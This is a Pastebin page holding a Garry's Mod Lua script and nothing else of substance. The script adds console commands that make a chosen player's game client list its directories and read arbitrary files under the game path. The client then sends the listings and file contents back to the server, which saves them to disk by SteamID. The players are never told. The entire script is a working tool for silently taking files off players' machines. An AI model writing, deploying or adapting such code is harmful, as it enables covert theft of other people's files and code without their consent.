Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if SERVER then
- AddCSLuaFile()
- end
- if SERVER then
- util.AddNetworkString( "SendDirs" )
- util.AddNetworkString( "SendFile" )
- util.AddNetworkString( "RequestDirs" )
- util.AddNetworkString( "RequestFile" )
- net.Receive("SendDirs", function(ply)
- local dirs = net.ReadTable()
- PrintTable(dirs)
- end)
- net.Receive("SendFile", function(ply)
- local code = net.ReadTable()
- local nFile = string.gsub(code.name, ".lua", ".txt")
- nFile = string.gsub(nFile, "/", "_")
- local pSteamID = string.gsub(ply:SteamID(), ":", "_")
- print(nFile)
- file.Write(pSteamID.."/"..nFile, code.src)
- end)
- concommand.Add("_getdir", function(ply,cmd,args)
- target = Player(args[1])
- net.Start("RequestDirs")
- net.WriteString(args[2])
- net.Send(target)
- end)
- concommand.Add("_getfile", function(ply,cmd,args)
- target = Player(args[1])
- net.Start("RequestFile")
- net.WriteString(args[2])
- net.Send(target)
- end)
- end
- if CLIENT then
- net.Receive("RequestDirs", function()
- local dir = net.ReadString()
- local files,dirs = file.Find(dir,"GAME")
- local data = {
- files=files,
- dirs=dirs
- }
- net.Start("SendDirs")
- net.WriteTable(data)
- net.SendToServer()
- end)
- net.Receive("RequestFile", function()
- local dir = net.ReadString()
- local code = file.Read(dir,"GAME")
- net.Start("SendFile")
- net.WriteTable( {name=dir,src=code} )
- net.SendToServer()
- end)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement